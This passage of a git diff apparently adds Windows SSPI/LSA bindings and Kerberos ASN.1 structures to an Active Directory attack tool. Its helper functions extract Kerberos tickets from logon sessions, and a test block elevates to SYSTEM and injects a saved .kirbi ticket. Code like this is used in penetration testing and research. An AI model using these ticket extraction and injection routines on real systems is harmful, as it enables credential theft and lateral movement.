+ +# https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions +def LsaEnumerateLogonSessions(): + # logon_process_name == This string must not exceed 127 bytes. + _LsaEnumerateLogonSessions = windll.Secur32.LsaEnumerateLogonSessions + _LsaEnumerateLogonSessions.argtypes = [PULONG, PVOID] # PLUID + _LsaEnumerateLogonSessions.restype = NTSTATUS + _LsaEnumerateLogonSessions.errcheck = LsaRaiseIfNotErrorSuccess + + LogonSessionCount = ULONG(0) + start_luid = c_void_p() + _LsaEnumerateLogonSessions(byref(LogonSessionCount), byref(start_luid)) + + class LUIDList(Structure): + _fields_ = [ + ("LogonIds", LUID * LogonSessionCount.value), + ] + + PLUIDList = POINTER(LUIDList) + + res_luids = [] + pluids = cast(start_luid, PLUIDList) + for luid in pluids.contents.LogonIds: + res_luids.append(luid.to_int()) + + LsaFreeReturnBuffer(start_luid) + + return res_luids + + +# https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsagetlogonsessiondata +def LsaGetLogonSessionData(luid): + # logon_process_name == This string must not exceed 127 bytes. + _LsaGetLogonSessionData = windll.Secur32.LsaGetLogonSessionData + _LsaGetLogonSessionData.argtypes = [PLUID, PVOID] # PSECURITY_LOGON_SESSION_DATA + _LsaGetLogonSessionData.restype = NTSTATUS + _LsaGetLogonSessionData.errcheck = LsaRaiseIfNotErrorSuccess + + if isinstance(luid, int): + luid = LUID.from_int(luid) + + ppsessiondata = c_void_p() + _LsaGetLogonSessionData(byref(luid), byref(ppsessiondata)) + + psessiondata = cast(ppsessiondata, PSECURITY_LOGON_SESSION_DATA) + sessiondata = psessiondata.contents.to_dict() + LsaFreeReturnBuffer(ppsessiondata) + + return sessiondata + + +# https://github.com/mhammond/pywin32/blob/d64fac8d7bda2cb1d81e2c9366daf99e802e327f/win32/Lib/sspi.py#L108 +# https://docs.microsoft.com/en-us/windows/desktop/secauthn/using-sspi-with-a-windows-sockets-client +# https://msdn.microsoft.com/en-us/library/Aa374712(v=VS.85).aspx +def AcquireCredentialsHandle( + client_name, package_name, tragetspn, cred_usage, pluid=None, authdata=None +): + def errc(result, func, arguments): + if SEC_E(result) == SEC_E.OK: + return result + raise Exception( + "%s failed with error code %s (%s)" + % ("AcquireCredentialsHandle", result, SEC_E(result)) + ) + + _AcquireCredentialsHandle = windll.Secur32.AcquireCredentialsHandleA + _AcquireCredentialsHandle.argtypes = [ + PSEC_CHAR, + PSEC_CHAR, + ULONG, + PLUID, + PVOID, + PVOID, + PVOID, + PCredHandle, + PTimeStamp, + ] + _AcquireCredentialsHandle.restype = DWORD + _AcquireCredentialsHandle.errcheck = errc + + # TODO: package_name might be different from version to version. implement functionality to poll it properly! + + cn = None + if client_name: + cn = LPSTR(client_name.encode("ascii")) + pn = LPSTR(package_name.encode("ascii")) + + creds = CredHandle() + ts = TimeStamp() + _AcquireCredentialsHandle( + cn, pn, cred_usage, pluid, authdata, None, None, byref(creds), byref(ts) + ) + return creds + + +# https://docs.microsoft.com/en-us/windows/desktop/api/sspi/nf-sspi-querycontextattributesa +def QueryContextAttributes(ctx, attr, sec_struct): + # attr = SECPKG_ATTR enum + def errc(result, func, arguments): + if SEC_E(result) == SEC_E.OK: + return SEC_E(result) + raise Exception( + "%s failed with error code %s (%s)" + % ("QueryContextAttributes", result, SEC_E(result)) + ) + + _QueryContextAttributes = windll.Secur32.QueryContextAttributesW + _QueryContextAttributes.argtypes = [PCtxtHandle, ULONG, PVOID] + _QueryContextAttributes.restype = DWORD + _QueryContextAttributes.errcheck = errc + + _QueryContextAttributes(byref(ctx), attr.value, byref(sec_struct)) + + return + + +# https://msdn.microsoft.com/en-us/library/windows/desktop/aa375507(v=vs.85).aspx +def InitializeSecurityContext( + creds, + target, + ctx=None, + flags=ISC_REQ.INTEGRITY + | ISC_REQ.CONFIDENTIALITY + | ISC_REQ.SEQUENCE_DETECT + | ISC_REQ.REPLAY_DETECT, + TargetDataRep=0, + token=None, +): + # print('==== InitializeSecurityContext ====') + # print('Creds: %s' % creds) + # print('Target: %s' % target) + # print('ctx: %s' % ctx) + # print('token: %s' % token) + def errc(result, func, arguments): + if SEC_E(result) in [ + SEC_E.OK, + SEC_E.COMPLETE_AND_CONTINUE, + SEC_E.COMPLETE_NEEDED, + SEC_E.CONTINUE_NEEDED, + SEC_E.INCOMPLETE_CREDENTIALS, + ]: + return SEC_E(result) + raise Exception( + "%s failed with error code %s (%s)" + % ("InitializeSecurityContext", result, SEC_E(result)) + ) + + _InitializeSecurityContext = windll.Secur32.InitializeSecurityContextA + _InitializeSecurityContext.argtypes = [ + PCredHandle, + PCtxtHandle, + PSEC_CHAR, + ULONG, + ULONG, + ULONG, + PSecBufferDesc, + ULONG, + PCtxtHandle, + PSecBufferDesc, + PULONG, + PTimeStamp, + ] + _InitializeSecurityContext.restype = DWORD + _InitializeSecurityContext.errcheck = errc + + if target: + ptarget = LPSTR(target.encode("ascii")) + else: + ptarget = None + newbuf = SecBufferDesc() + outputflags = ULONG() + expiry = TimeStamp() + + if token: + token = SecBufferDesc([SecBuffer(token)]) + + if not ctx: + ctx = CtxtHandle() + res = _InitializeSecurityContext( + byref(creds), + None, + ptarget, + int(flags), + 0, + TargetDataRep, + byref(token) if token else None, + 0, + byref(ctx), + byref(newbuf), + byref(outputflags), + byref(expiry), + ) + else: + res = _InitializeSecurityContext( + byref(creds), + byref(ctx), + ptarget, + int(flags), + 0, + TargetDataRep, + byref(token) if token else None, + 0, + byref(ctx), + byref(newbuf), + byref(outputflags), + byref(expiry), + ) + + data = newbuf.Buffers + + return res, ctx, data, ISC_REQ(outputflags.value), expiry + + +def get_ticket_cache_info_helper(lsa_handle, package_id, luid, throw=True): + result = [] + message = KERB_QUERY_TKT_CACHE_REQUEST(luid) + ret_msg, ret_status, free_prt = LsaCallAuthenticationPackage( + lsa_handle, package_id, message + ) + + if ret_status != 0: + if throw is True: + raise WinError(LsaNtStatusToWinError(ret_status)) + return result + + response_preparse = KERB_QUERY_TKT_CACHE_RESPONSE_SIZE.from_buffer_copy(ret_msg) + if response_preparse.CountOfTickets > 0: + # new class + class KERB_QUERY_TKT_CACHE_RESPONSE_ARRAY(Structure): + _fields_ = [ + ("MessageType", DWORD), + ("CountOfTickets", ULONG), + ("Tickets", KERB_TICKET_CACHE_INFO * response_preparse.CountOfTickets), + ] + + response = KERB_QUERY_TKT_CACHE_RESPONSE_ARRAY.from_buffer_copy(ret_msg) + for ticket in response.Tickets: + result.append(ticket.to_dict()) + + LsaFreeReturnBuffer(free_prt) + + return result + + +def extract_ticket(lsa_handle, package_id, luid, target_name): + message = retrieve_tkt_helper(target_name, logonid=luid) + ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage( + lsa_handle, package_id, message + ) + + ticket = {} + if ret_status != 0: + raise WinError(LsaNtStatusToWinError(ret_status)) + if len(ret_msg) > 0: + resp = KERB_RETRIEVE_TKT_RESPONSE.from_buffer_copy(ret_msg) + ticket = resp.Ticket.get_data() + LsaFreeReturnBuffer(free_ptr) + + return ticket + + +if __name__ == "__main__": + + # luids = LsaEnumerateLogonSessions() + # for luid in luids: + # try: + # session_info = LsaGetLogonSessionData(luid) + # print(session_info) + # except Exception as e: + # import traceback + # traceback.print_exc() + # print(e) + from pypykatz.commons.readers.local.common.privileges import RtlAdjustPrivilege + from pypykatz.commons.winapi.processmanipulator import ProcessManipulator + + pm = ProcessManipulator() + + # lsa_handle = LsaConnectUntrusted() + + # package_id = LsaLookupAuthenticationPackage(lsa_handle, 'kerberos') + # print(package_id) + # message = KERB_PURGE_TKT_CACHE_REQUEST() + # LsaCallAuthenticationPackage(lsa_handle, package_id, message) + # LsaDeregisterLogonProcess(lsa_handle) + + # print(LsaGetLogonSessionData(0)) + # retrieve_tkt_helper('almaaaaasaaaa') + # sys.exit() + + pm.getsystem() + lsa_handle = LsaRegisterLogonProcess("HELLOOO") + pm.dropsystem() + package_id = LsaLookupAuthenticationPackage(lsa_handle, "kerberos") + + with open("test_9.kirbi", "rb") as f: + ticket_data = f.read() + + luid = 0 + message = submit_tkt_helper(ticket_data, logonid=luid) + ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage( + lsa_handle, package_id, message + ) + + print(get_lsa_error(ret_status)) + print(ret_msg) + + # + + # print(lsa_handle_2) + # LsaDeregisterLogonProcess(lsa_handle_2) diff --git a/certipy/lib/sspi/structs.py b/certipy/lib/sspi/structs.py new file mode 100755 index 0000000..2283271 --- /dev/null +++ b/certipy/lib/sspi/structs.py @@ -0,0 +1,1084 @@ +#!/usr/bin/env python3 +# +# Author: +# Tamas Jos (@skelsec) +# + +# Sources used: +# https://zeroshell.org/kerberos/kerberos-operation/ +# https://tools.ietf.org/html/rfc4120 +# https://tools.ietf.org/html/rfc6113 (FAST extension) + +# TODO: +# https://tools.ietf.org/html/rfc4556 + +import enum +import io + +from asn1crypto import core + +# KerberosV5Spec2 DEFINITIONS EXPLICIT TAGS ::= +TAG = "explicit" + +# class +UNIVERSAL = 0 +APPLICATION = 1 +CONTEXT = 2 +krb5_pvno = 5 # -- current Kerberos protocol version number + + +class PADATA_TYPE(core.Enumerated): + _map = { + 0: "NONE", # (0), + 1: "TGS-REQ", # (1), # 1 : 'AP-REQ', #(1), + 2: "ENC-TIMESTAMP", # (2), + 3: "PW-SALT", # (3), + 5: "ENC-UNIX-TIME", # (5), + 6: "SANDIA-SECUREID", # (6), + 7: "SESAME", # (7), + 8: "OSF-DCE", # (8), + 9: "CYBERSAFE-SECUREID", # (9), + 10: "AFS3-SALT", # (10), + 11: "ETYPE-INFO", # (11), + 12: "SAM-CHALLENGE", # (12), -- ', #(sam/otp) + 13: "SAM-RESPONSE", # (13), -- ', #(sam/otp) + 14: "PK-AS-REQ-19", # (14), -- ', #(PKINIT-19) + 15: "PK-AS-REP-19", # (15), -- ', #(PKINIT-19) + 15: "PK-AS-REQ-WIN", # (15), -- ', #(PKINIT - old number) + 16: "PK-AS-REQ", # (16), -- ', #(PKINIT-25) + 17: "PK-AS-REP", # (17), -- ', #(PKINIT-25) + 18: "PA-PK-OCSP-RESPONSE", # (18), + 19: "ETYPE-INFO2", # (19), + 20: "USE-SPECIFIED-KVNO", # (20), + 20: "SVR-REFERRAL-INFO", # (20), --- old ms referral number + 21: "SAM-REDIRECT", # (21), -- ', #(sam/otp) + 22: "GET-FROM-TYPED-DATA", # (22), + 23: "SAM-ETYPE-INFO", # (23), + 25: "SERVER-REFERRAL", # (25), + 24: "ALT-PRINC", # (24), -- ', #(crawdad@fnal.gov) + 30: "SAM-CHALLENGE2", # (30), -- ', #(kenh@pobox.com) + 31: "SAM-RESPONSE2", # (31), -- ', #(kenh@pobox.com) + 41: "PA-EXTRA-TGT", # (41), -- Reserved extra TGT + 102: "TD-KRB-PRINCIPAL", # (102), -- PrincipalName + 104: "PK-TD-TRUSTED-CERTIFIERS", # (104), -- PKINIT + 105: "PK-TD-CERTIFICATE-INDEX", # (105), -- PKINIT + 106: "TD-APP-DEFINED-ERROR", # (106), -- application specific + 107: "TD-REQ-NONCE", # (107), -- INTEGER + 108: "TD-REQ-SEQ", # (108), -- INTEGER + 128: "PA-PAC-REQUEST", # (128), -- jbrezak@exchange.microsoft.com + 129: "PA-FOR-USER", # (129), -- MS-KILE + 130: "FOR-X509-USER", # (130), -- MS-KILE + 131: "FOR-CHECK-DUPS", # (131), -- MS-KILE + 132: "AS-CHECKSUM", # (132), -- MS-KILE + 132: "PK-AS-09-BINDING", # (132), -- client send this to -- tell KDC that is supports -- the asCheckSum in the -- PK-AS-REP + 133: "CLIENT-CANONICALIZED", # (133), -- referals + 133: "FX-COOKIE", # (133), -- krb-wg-preauth-framework + 134: "AUTHENTICATION-SET", # (134), -- krb-wg-preauth-framework + 135: "AUTH-SET-SELECTED", # (135), -- krb-wg-preauth-framework + 136: "FX-FAST", # (136), -- krb-wg-preauth-framework + 137: "FX-ERROR", # (137), -- krb-wg-preauth-framework + 138: "ENCRYPTED-CHALLENGE", # (138), -- krb-wg-preauth-framework + 141: "OTP-CHALLENGE", # (141), -- ', #(gareth.richards@rsa.com) + 142: "OTP-REQUEST", # (142), -- ', #(gareth.richards@rsa.com) + 143: "OTP-CONFIRM", # (143), -- ', #(gareth.richards@rsa.com) + 144: "OTP-PIN-CHANGE", # (144), -- ', #(gareth.richards@rsa.com) + 145: "EPAK-AS-REQ", # (145), + 146: "EPAK-AS-REP", # (146), + 147: "PKINIT-KX", # (147), -- krb-wg-anon + 148: "PKU2U-NAME", # (148), -- zhu-pku2u + 149: "REQ-ENC-PA-REP", # (149), -- + 151: "SPAKE", # (151), https://datatracker.ietf.org/doc/draft-ietf-kitten-krb-spake-preauth/?include_text=1 + 165: "SUPPORTED-ETYPES", # (165) -- MS-KILE + 167: "PA-PAC-OPTIONS", + } + + +class AUTHDATA_TYPE(core.Enumerated): + _map = { + 1: "IF-RELEVANT", # 1), + 2: "INTENDED-FOR-SERVER", # 2), + 3: "INTENDED-FOR-APPLICATION-CLASS", # 3), + 4: "KDC-ISSUED", # 4), + 5: "AND-OR", # 5), + 6: "MANDATORY-TICKET-EXTENSIONS", # 6), + 7: "IN-TICKET-EXTENSIONS", # 7), + 8: "MANDATORY-FOR-KDC", # 8), + 9: "INITIAL-VERIFIED-CAS", # 9), + 64: "OSF-DCE", # 64), + 65: "SESAME", # 65), + 66: "OSF-DCE-PKI-CERTID", # 66), + 70: "AD-authentication-strength", + 71: "AD-fx-fast-armor", + 72: "AD-fx-fast-used", + 128: "WIN2K-PAC", # 128), + 129: "GSS-API-ETYPE-NEGOTIATION", # 129), -- Authenticator only + -17: "SIGNTICKET-OLDER", # -17), + 142: "SIGNTICKET-OLD", # 142), + 512: "SIGNTICKET", # 512) + } + + +class CKSUMTYPE(core.Enumerated): + _map = { + 0: "NONE", # 0), + 1: "CRC32", # 1), + 2: "RSA_MD4", # 2), + 3: "RSA_MD4_DES", # 3), + 4: "DES_MAC", # 4), + 5: "DES_MAC_K", # 5), + 6: "RSA_MD4_DES_K", # 6), + 7: "RSA_MD5", # 7), + 8: "RSA_MD5_DES", # 8), + 9: "RSA_MD5_DES3", # 9), + 10: "SHA1_OTHER", # 10), + 12: "HMAC_SHA1_DES3", # 12), + 14: "SHA1", # 14), + 15: "HMAC_SHA1_96_AES_128", # 15), + 16: "HMAC_SHA1_96_AES_256", # 16), + 0x8003: "GSSAPI", # 0x8003), + -138: "HMAC_MD5", # -138), -- unofficial microsoft number + -1138: "HMAC_MD5_ENC", # -1138) -- even more unofficial + } + + +# enctypes +class ENCTYPE(core.Enumerated): + _map = { + 0: "NULL", # 0), + 1: "DES_CBC_CRC", # 1), + 2: "DES_CBC_MD4", # 2), + 3: "DES_CBC_MD5", # 3), + 5: "DES3_CBC_MD5", # 5), + 7: "OLD_DES3_CBC_SHA1", # 7), + 8: "SIGN_DSA_GENERATE", # 8), + 9: "ENCRYPT_RSA_PRIV", # 9), + 10: "ENCRYPT_RSA_PUB", # 10), + 16: "DES3_CBC_SHA1", # 16), -- with key derivation + 17: "AES128_CTS_HMAC_SHA1_96", # 17), + 18: "AES256_CTS_HMAC_SHA1_96", # 18), + 23: "ARCFOUR_HMAC_MD5", # 23), + 24: "ARCFOUR_HMAC_MD5_56", # 24), + 48: "ENCTYPE_PK_CROSS", # 48), + # -- some "old" windows types + -128: "ARCFOUR_MD4", # -128), + -133: "ARCFOUR_HMAC_OLD", # -133), + -135: "ARCFOUR_HMAC_OLD_EXP", # -135), + # -- these are for Heimdal internal use + -0x1000: "DES_CBC_NONE", # -0x1000), + -0x1001: "DES3_CBC_NONE", # -0x1001), + -0x1002: "DES_CFB64_NONE", # -0x1002), + -0x1003: "DES_PCBC_NONE", # -0x1003), + -0x1004: "DIGEST_MD5_NONE", # -0x1004), -- private use, lukeh@padl.com + -0x1005: "CRAM_MD5_NONE", # -0x1005) -- private use, lukeh@padl.com + } + + +class SequenceOfEnctype(core.SequenceOf): + _child_spec = core.Integer + + +class Microseconds(core.Integer): + """::= INTEGER (0..999999) + -- microseconds + """ + + +class krb5int32(core.Integer): + """krb5int32 ::= INTEGER (-2147483648..2147483647)""" + + +class krb5uint32(core.Integer): + """krb5uint32 ::= INTEGER (0..4294967295)""" + + +class KerberosString(core.GeneralString): + """KerberosString ::= GeneralString (IA5String) + For compatibility, implementations MAY choose to accept GeneralString + values that contain characters other than those permitted by + IA5String... + """ + + +class SequenceOfKerberosString(core.SequenceOf): + _child_spec = KerberosString + + +# https://github.com/tiran/kkdcpasn1/blob/asn1crypto/pykkdcpasn1.py +class Realm(KerberosString): + """Realm ::= KerberosString""" + + +# https://github.com/tiran/kkdcpasn1/blob/asn1crypto/pykkdcpasn1.py +class PrincipalName(core.Sequence): + """PrincipalName for KDC-REQ-BODY and Ticket + PrincipalName ::= SEQUENCE { + name-type [0] Int32, + name-string [1] SEQUENCE OF KerberosString + } + """ + + _fields = [ + ("name-type", krb5int32, {"tag_type": TAG, "tag": 0}), + ("name-string", SequenceOfKerberosString, {"tag_type": TAG, "tag": 1}), + ] + + +class Principal(core.Sequence): + _fields = [ + ("name", PrincipalName, {"tag_type": TAG, "tag": 0}), + ("realm", Realm, {"tag_type": TAG, "tag": 1}), + ] + + +class Principals(core.SequenceOf): + _child_spec = Principal + + +class HostAddress(core.Sequence): + """HostAddress for HostAddresses + HostAddress ::= SEQUENCE { + addr-type [0] Int32, + address [1] OCTET STRING + } + """ + + _fields = [ + ("addr-type", krb5int32, {"tag_type": TAG, "tag": 0}), + ("address", core.OctetString, {"tag_type": TAG, "tag": 1}), + ] + + +class HostAddresses(core.SequenceOf): + """SEQUENCE OF HostAddress""" + + _child_spec = HostAddress + + +class KerberosTime(core.GeneralizedTime): + """KerberosTime ::= GeneralizedTime""" + + +class AuthorizationDataElement(core.Sequence): + _fields = [ + ("ad-type", krb5int32, {"tag_type": TAG, "tag": 0}), + ("ad-data", core.OctetString, {"tag_type": TAG, "tag": 1}), + ] + + +class AuthorizationData(core.SequenceOf): + """SEQUENCE OF HostAddress""" + + _child_spec = AuthorizationDataElement + + +class APOptions(core.BitString): + _map = { + 0: "reserved", # (0), + 1: "use-session-key", # (1), + 2: "mutual-required", # (2) + } + + +class TicketFlags(core.BitString): + _map = { + 0: "reserved", + 1: "forwardable", + 2: "forwarded", + 3: "proxiable", + 4: "proxy", + 5: "may-postdate", + 6: "postdated", + 7: "invalid", + 8: "renewable", + 9: "initial", + 10: "pre-authent", + 11: "hw-authent", + 12: "transited-policy-checked", + 13: "ok-as-delegate", + 14: "anonymous", + 15: "enc-pa-rep", + } + + +class KDCOptions(core.BitString): + _map = { + 0: "reserved", + 1: "forwardable", + 2: "forwarded", + 3: "proxiable", + 4: "proxy", + 5: "allow-postdate", + 6: "postdated", + 7: "unused7", + 8: "renewable", + 9: "unused9", + 10: "unused10", + 11: "opt-hardware-auth", + 12: "unused12", + 13: "unused13", + 14: "constrained-delegation", # -- cname-in-addl-tkt (14) + 15: "canonicalize", + 16: "request-anonymous", + 17: "unused17", + 18: "unused18", + 19: "unused19", + 20: "unused20", + 21: "unused21", + 22: "unused22", + 23: "unused23", + 24: "unused24", + 25: "unused25", + 26: "disable-transited-check", + 27: "renewable-ok", + 28: "enc-tkt-in-skey", + 30: "renew", + 31: "validate", + } + + +class LR_TYPE(core.Enumerated): + _map = { + 0: "NONE", # 0), -- no information + 1: "INITIAL_TGT", # 1), -- last initial TGT request + 2: "INITIAL", # 2), -- last initial request + 3: "ISSUE_USE_TGT", # 3), -- time of newest TGT used + 4: "RENEWAL", # 4), -- time of last renewal + 5: "REQUEST", # 5), -- time of last request ', #of any type) + 6: "PW_EXPTIME", # 6), -- expiration time of password + 7: "ACCT_EXPTIME", # 7) -- expiration time of account + } + + +class LastReqInner(core.Sequence): + _fields = [ + ("lr-type", krb5int32, {"tag_type": TAG, "tag": 0}), # LR_TYPE + ("lr-value", KerberosTime, {"tag_type": TAG, "tag": 1}), + ] + + +class LastReq(core.SequenceOf): + _child_spec = LastReqInner + + +class EncryptedData(core.Sequence): + _fields = [ + ("etype", krb5int32, {"tag_type": TAG, "tag": 0}), # -- EncryptionType + ("kvno", krb5uint32, {"tag_type": TAG, "tag": 1, "optional": True}), # + ("cipher", core.OctetString, {"tag_type": TAG, "tag": 2}), # ciphertext + ] + + +class EncryptionKey(core.Sequence): + _fields = [ + ("keytype", krb5uint32, {"tag_type": TAG, "tag": 0}), # -- EncryptionType + ("keyvalue", core.OctetString, {"tag_type": TAG, "tag": 1}), # + ] + + +# -- encoded Transited field + + +class TransitedEncoding(core.Sequence): + _fields = [ + ("tr-type", krb5uint32, {"tag_type": TAG, "tag": 0}), # -- must be registered + ("contents", core.OctetString, {"tag_type": TAG, "tag": 1}), # + ] + + +# https://github.com/tiran/kkdcpasn1/blob/asn1crypto/pykkdcpasn1.py +class Ticket(core.Sequence): + explicit = (APPLICATION, 1) + + _fields = [ + ("tkt-vno", krb5int32, {"tag_type": TAG, "tag": 0}), + ("realm", Realm, {"tag_type": TAG, "tag": 1}), + ("sname", PrincipalName, {"tag_type": TAG, "tag": 2}), + ("enc-part", EncryptedData, {"tag_type": TAG, "tag": 3}), # EncTicketPart + ] + + +class SequenceOfTicket(core.SequenceOf): + """SEQUENCE OF Ticket for KDC-REQ-BODY""" + + _child_spec = Ticket + + +# -- Encrypted part of ticket +class EncTicketPart(core.Sequence): + explicit = (APPLICATION, 3) + + _fields = [ + ("flags", TicketFlags, {"tag_type": TAG, "tag": 0}), + ("key", EncryptionKey, {"tag_type": TAG, "tag": 1}), + ("crealm", Realm, {"tag_type": TAG, "tag": 2}), + ("cname", PrincipalName, {"tag_type": TAG, "tag": 3}), + ("transited", TransitedEncoding, {"tag_type": TAG, "tag": 4}), + ("authtime", KerberosTime, {"tag_type": TAG, "tag": 5}), + ("starttime", KerberosTime, {"tag_type": TAG, "tag": 6, "optional": True}), + ("endtime", KerberosTime, {"tag_type": TAG, "tag": 7}), + ("renew-till", KerberosTime, {"tag_type": TAG, "tag": 8, "optional": True}), + ("caddr", HostAddresses, {"tag_type": TAG, "tag": 9, "optional": True}), + ( + "authorization-data", + AuthorizationData, + {"tag_type": TAG, "tag": 10, "optional": True}, + ), + ] + + +class Checksum(core.Sequence): + _fields = [ + ("cksumtype", krb5int32, {"tag_type": TAG, "tag": 0}), # CKSUMTYPE + ("checksum", core.OctetString, {"tag_type": TAG, "tag": 1}), + ] + + +class Authenticator(core.Sequence): + explicit = (APPLICATION, 2) + + _fields = [ + ("authenticator-vno", krb5int32, {"tag_type": TAG, "tag": 0}), + ("crealm", Realm, {"tag_type": TAG, "tag": 1}), + ("cname", PrincipalName, {"tag_type": TAG, "tag": 2}), + ("cksum", Checksum, {"tag_type": TAG, "tag": 3, "optional": True}), + ("cusec", krb5int32, {"tag_type": TAG, "tag": 4}), + ("ctime", KerberosTime, {"tag_type": TAG, "tag": 5}), + ("subkey", EncryptionKey, {"tag_type": TAG, "tag": 6, "optional": True}), + ("seq-number", krb5uint32, {"tag_type": TAG, "tag": 7, "optional": True}), + ( + "authorization-data", + AuthorizationData, + {"tag_type": TAG, "tag": 8, "optional": True}, + ), + ] + + +class PA_DATA(core.Sequence): #!!!! IT STARTS AT ONE!!!! + _fields = [ + ("padata-type", core.Integer, {"tag_type": TAG, "tag": 1}), + ("padata-value", core.OctetString, {"tag_type": TAG, "tag": 2}), + ] + + +class ETYPE_INFO_ENTRY(core.Sequence): + _fields = [ + ("etype", krb5int32, {"tag_type": TAG, "tag": 0}), + ("salt", core.OctetString, {"tag_type": TAG, "tag": 1, "optional": True}), + ("salttype", krb5int32, {"tag_type": TAG, "tag": 2, "optional": True}), + ] + + +class ETYPE_INFO(core.SequenceOf): + _child_spec = ETYPE_INFO_ENTRY + + +class ETYPE_INFO2_ENTRY(core.Sequence): + _fields = [ + ("etype", krb5int32, {"tag_type": TAG, "tag": 0}), + ("salt", KerberosString, {"tag_type": TAG, "tag": 1, "optional": True}), + ("s2kparams", core.OctetString, {"tag_type": TAG, "tag": 2, "optional": True}), + ] + + +class ETYPE_INFO2(core.SequenceOf): + _child_spec = ETYPE_INFO2_ENTRY + + +class METHOD_DATA(core.SequenceOf): + _child_spec = PA_DATA + + +class TypedData(core.Sequence): + _fields = [ + ("data-type", krb5int32, {"tag_type": TAG, "tag": 0}), + ("data-value", core.OctetString, {"tag_type": TAG, "tag": 1, "optional": True}), + ] + + +""" +class TYPED-DATA ::= SEQUENCE SIZE (1..MAX) OF TypedData +""" + + +class KDC_REQ_BODY(core.Sequence): + _fields = [ + ("kdc-options", KDCOptions, {"tag_type": TAG, "tag": 0}), + ("cname", PrincipalName, {"tag_type": TAG, "tag": 1, "optional": True}), + ("realm", Realm, {"tag_type": TAG, "tag": 2}), + ("sname", PrincipalName, {"tag_type": TAG, "tag": 3, "optional": True}), + ("from", KerberosTime, {"tag_type": TAG, "tag": 4, "optional": True}), + ("till", KerberosTime, {"tag_type": TAG, "tag": 5, "optional": True}), + ("rtime", KerberosTime, {"tag_type": TAG, "tag": 6, "optional": True}), + ("nonce", krb5int32, {"tag_type": TAG, "tag": 7}), + ( + "etype", + SequenceOfEnctype, + {"tag_type": TAG, "tag": 8}, + ), # -- EncryptionType,preference order + ("addresses", HostAddresses, {"tag_type": TAG, "tag": 9, "optional": True}), + ( + "enc-authorization-data", + EncryptedData, + {"tag_type": TAG, "tag": 10, "optional": True}, + ), # -- Encrypted AuthorizationData encoding + ( + "additional-tickets", + SequenceOfTicket, + {"tag_type": TAG, "tag": 11, "optional": True}, + ), + ] + + +class KDC_REQ(core.Sequence): + _fields = [ + ("pvno", krb5int32, {"tag_type": TAG, "tag": 1}), + ("msg-type", krb5int32, {"tag_type": TAG, "tag": 2}), # MESSAGE_TYPE + ("padata", METHOD_DATA, {"tag_type": TAG, "tag": 3, "optional": True}), + ("req-body", KDC_REQ_BODY, {"tag_type": TAG, "tag": 4}), + ] + + +class AS_REQ(KDC_REQ): + explicit = (APPLICATION, 10) + + +class TGS_REQ(KDC_REQ): + explicit = (APPLICATION, 12) + + +class FastOptions(core.BitString): + _map = { + 0: "reserved", + 1: "hide-client-names", + 2: "critical_2", # forwarded', + 3: "critical_3", # proxiable', + 4: "critical_4", # proxy', + 5: "critical_5", # may-postdate', + 6: "critical_6", # postdated', + 7: "critical_7", # invalid', + 8: "critical_8", # renewable', + 9: "critical_9", # initial', + 10: "critical_10", # pre-authent', + 11: "critical_11", # hw-authent', + 12: "critical_12", # transited-policy-checked', + 13: "critical_13", # ok-as-delegate', + 14: "critical_14", # anonymous', + 15: "critical_15", # enc-pa-rep', + 16: "kdc-follow-referrals", + } + # error: KDC_ERR_UNKNOWN_CRITICAL_FAST_OPTIONS 93 + + +# 5.4.1. FAST Armors + + +class EncryptedChallenge(EncryptedData): + pass + + +class AUTHENTICATION_SET_ELEM(core.SequenceOf): + _fields = [ + ("pa-type", krb5int32, {"tag_type": TAG, "tag": 0}), + ("pa-hint", core.OctetString, {"tag_type": TAG, "tag": 1, "optional": True}), + ("pa-value", core.OctetString, {"tag_type": TAG, "tag": 1, "optional": True}), + ] + + +class AUTHENTICATION_SET(core.SequenceOf): + _child_spec = AUTHENTICATION_SET_ELEM + + +class KrbFastArmor(core.Sequence): + _fields = [ + ("armor-type", krb5int32, {"tag_type": TAG, "tag": 0}), + ("armor-value", core.OctetString, {"tag_type": TAG, "tag": 1}), + ] + + +class KrbFastArmoredReq(core.Sequence): + _fields = [ + ("armor", KrbFastArmor, {"tag_type": TAG, "tag": 0, "optional": True}), + ("req-checksum", Checksum, {"tag_type": TAG, "tag": 1}), + ( + "enc-fast-req", + EncryptedData, + {"tag_type": TAG, "tag": 2}, + ), # KrbFastReq #KEY_USAGE_FAST_REQ_CHKSUM 50 #KEY_USAGE_FAST_ENC 51 + ] + + +class KrbFastReq(core.Sequence): + _fields = [ + ("fast-options", FastOptions, {"tag_type": TAG, "tag": 0}), + ("padata", METHOD_DATA, {"tag_type": TAG, "tag": 1}), + ("req-body", KDC_REQ_BODY, {"tag_type": TAG, "tag": 2}), + ] + + +class KrbFastFinished(core.Sequence): + _fields = [ + ("timestamp", KerberosTime, {"tag_type": TAG, "tag": 0}), + ("usec", Microseconds, {"tag_type": TAG, "tag": 1}), + ("crealm", Realm, {"tag_type": TAG, "tag": 2}), + ("cname", PrincipalName, {"tag_type": TAG, "tag": 3}), + ( + "ticket-checksum", + Checksum, + {"tag_type": TAG, "tag": 4}, + ), # KEY_USAGE_FAST_FINISHED 53 + ] + + +class KrbFastArmoredRep(core.Sequence): + _fields = [ + ( + "enc-fast-rep", + EncryptedData, + {"tag_type": TAG, "tag": 0}, + ), # KrbFastResponse KEY_USAGE_FAST_REP 52 + ] + + +class KrbFastResponse(core.Sequence): + _fields = [ + ("padata", METHOD_DATA, {"tag_type": TAG, "tag": 0}), + ( + "strengthen-key", + EncryptionKey, + {"tag_type": TAG, "tag": 1, "optional": True}, + ), + ( + "finished", + KrbFastFinished, + {"tag_type": TAG, "tag": 2, "optional": True}, + ), # KrbFastReq #KEY_USAGE_FAST_REQ_CHKSUM 50 #KEY_USAGE_FAST_ENC 51 + ("nonce", krb5uint32, {"tag_type": TAG, "tag": 3}), + ] + + +# -- padata-type ::= PA-ENC-TIMESTAMP +# -- padata-value ::= EncryptedData - PA-ENC-TS-ENC + + +class PA_PAC_OPTIONSTypes(core.BitString): + _map = { + 0: "Claims", + 1: "Branch Aware", + 2: "Forward to Full DC", + 3: "resource-based constrained delegation", + } + + +class PA_FX_FAST_REQUEST(core.Choice): + _alternatives = [ + ("armored-data", KrbFastArmoredReq, {"explicit": (CONTEXT, 0)}), + ] + + +class 